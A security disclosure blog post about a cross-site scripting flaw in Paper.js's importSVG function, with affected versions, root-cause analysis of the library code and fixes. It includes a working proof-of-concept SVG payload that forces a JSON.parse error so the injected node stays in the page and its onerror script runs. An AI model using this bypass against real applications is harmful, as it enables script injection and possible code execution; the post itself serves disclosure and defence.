This blog post discloses a critical security vulnerability in Paper.js - a popular JavaScript library for rendering and manipulating vector images.
Responsible disclosure
- Emails to the only Paper.js maintainer with any online activity were ignored for over a year. Paper.js has been unmaintained for two years, so I assume that the maintainer has moved on.
- The most popular Paper.js app I'm aware of was informed of this bug and acknowledged it a long time ago.
- Any industry-standard disclosure periods passed a long time ago.
Description and impact
If an app using Paper.js passes untrusted attacker-controlled content into the paper.project.importSVG function, arbitrary attacker-controlled JavaScript will be executed by the victim. This is known as a cross-site-scripting (XSS) attack.
The impact of this varies by app. Here's a couple examples:
- If the vulnerable app is a social media website, it would allow the attacker to take actions using the victim's account without the victim's knowledge such as posting comments, deleting data, etc.
- If the vulnerable app is an Electron app that enables Node.js integration, this is escalated from XSS to arbitrary code execution. The attacker can download and execute traditional malware or ransomware payloads without the victim's knowledge.
Paper.js documentation does not say whether the importSVG function is intended to handle untrusted input. If the documentation warned against it, I wouldn't consider this a Paper.js bug. The documentation makes no mention of that. Real-world apps that use Paper.js do often pass untrusted content into importSVG.
Affected versions
Every Paper.js version from v0.9.12 (November 2013) through v0.12.18 (the latest as of publishing) is vulnerable.
Proof of concept
<canvas></canvas>
<script src="https://cdn.jsdelivr.net/npm/paper@0.12.18/dist/paper-core.js"></script>
<script>
var evilSVG = `<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" data-paper-data="any invalid JSON">
<foreignObject x="1" y="1" width="1" height="1">
<img
xmlns="http://www.w3.org/1999/xhtml"
src="data:any invalid URL"
onerror="alert('xss')"
/>
</foreignObject>
</svg>`;
new paper.Project(document.querySelector('canvas'));
paper.project.importSVG(evilSVG);
</script>
Test it here: poc.html
In a real app, evilSVG might be user-generated content or a file uploaded by the user.
How to fix
Paper.js has been unmaintained for two years. You should not wait for Paper.js to fix the vulnerability.
You have two options:
-
Use DOMPurify to remove embedded JavaScript before importing to Paper.js.
Note that DOMPurify only removes JavaScript; it does not remove references to external content. An attacker could still IP log victims when the SVG is opened. If that is a problem for your threat model, you could develop complex filter rules to further sanitize the SVG. Enumerating all the possible ways for an SVG to make a request is unmaintainable in the long term.
-
I maintain a fork called @turbowarp/paper.js. It uses a sandboxed and CSP'd iframe to make the browser block scripts and external resources. Note that this fork removes some features such as PaperScript.
Root cause
The vulnerable code was added in November 2013. It originally looked like this:
'#document': function (node, type, isRoot, options) {
var nodes = node.childNodes;
for (var i = 0, l = nodes.length; i < l; i++) {
var child = nodes[i];
if (child.nodeType === 1) {
// NOTE: We need to move the svg node into our current
// document, so default styles apply!
var next = child.nextSibling;
document.body.appendChild(child);
var item = importSVG(child, isRoot, options);
// After import, we move it back to where it was:
if (next) {
node.insertBefore(child, next);
} else {
node.appendChild(child);
}
return item;
}
}
},
Today the vulnerable code is in importNode:
function importNode(node, options, isRoot) {
// jsdom in Node.js uses uppercase values for nodeName...
var type = node.nodeName.toLowerCase(),
isElement = type !== '#document',
body = document.body,
container,
parent,
next;
if (isRoot && isElement) {
// Set rootSize to view size, as getSize() may refer to it (#1242).
rootSize = paper.getView().getSize();
// Now set rootSize to the root element size, and fall-back to view.
rootSize = getSize(node, null, null, true) || rootSize;
// We need to move the SVG node to the current document, so default
// styles are correctly inherited! For this we create and insert a
// temporary SVG container which is removed again at the end. This
// container also helps fix a bug on IE.
container = SvgElement.create('svg', {
// If no stroke-width is set, IE/Edge appears to have a
// default of 0.01px. We can set a default style on the
// parent container as a more sensible fall-back. Also, browsers
// have a default miter-limit of 4, while Paper.js has 10
style: 'stroke-width: 1px; stroke-miterlimit: 10'
});
parent = node.parentNode;
next = node.nextSibling;
container.appendChild(node);
body.appendChild(container);
}
The cause has remained the same. In this code, node is the result of parsing the attacker's SVG using DOMParser. It contains the attacker's malicious SVG, but parsing alone won't cause code to execute yet.
These functions append node into document.body. This changes node from being a parsed SVG to being a real living SVG that can now execute code.
This is a very classic cause of XSS, so I would've expected it to be found a while ago. I suspect it was never publicly reported because the surrounding code provides an accidental layer of protection. If you import a typical XSS payload, the JavaScript won't execute. See doesnt-work.html:
<canvas></canvas>
<script src="https://cdn.jsdelivr.net/npm/paper@0.12.18/dist/paper-core.js"></script>
<script>
var attackerControlled = `<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert('xss')"></svg>`;
new paper.Project(document.querySelector('canvas'));
paper.project.importSVG(attackerControlled);
</script>
The "protection" comes from Paper.js removing node from the document after it's done importing. This stops standard copy/paste XSS payloads.
if (container) {
// After import, move things back to how they were:
body.removeChild(container);
if (parent) {
if (next) {
parent.insertBefore(node, next);
} else {
parent.appendChild(node);
}
}
}
There's plenty of other code between body.appendChild and body.removeChild that an attacker can take advantage of:
var settings = paper.settings,
applyMatrix = settings.applyMatrix,
insertItems = settings.insertItems;
settings.applyMatrix = false;
settings.insertItems = false;
var importer = importers[type],
item = importer && importer(node, type, options, isRoot) || null;
settings.insertItems = insertItems;
settings.applyMatrix = applyMatrix;
if (item) {
// Do not apply attributes if this is a #document node.
// See importGroup() for an explanation of filtering for Group:
if (isElement && !(item instanceof Group))
item = applyAttributes(item, node, isRoot);
// Support onImportItem callback, to provide mechanism to handle
// special attributes (e.g. inkscape:transform-center)
var onImport = options.onImport,
data = isElement && node.getAttribute('data-paper-data');
if (onImport)
item = onImport(node, item, options) || item;
if (options.expandShapes && item instanceof Shape) {
item.remove();
item = item.toPath();
}
if (data)
item._data = JSON.parse(data);
}
There are many ways to throw an error in this code. An easy one is set the data-paper-data attribute to invalid JSON so JSON.parse errors, thus body.removeChild never runs because there is no try/catch. The SVG now stays in the DOM forever, allowing scripts to execute.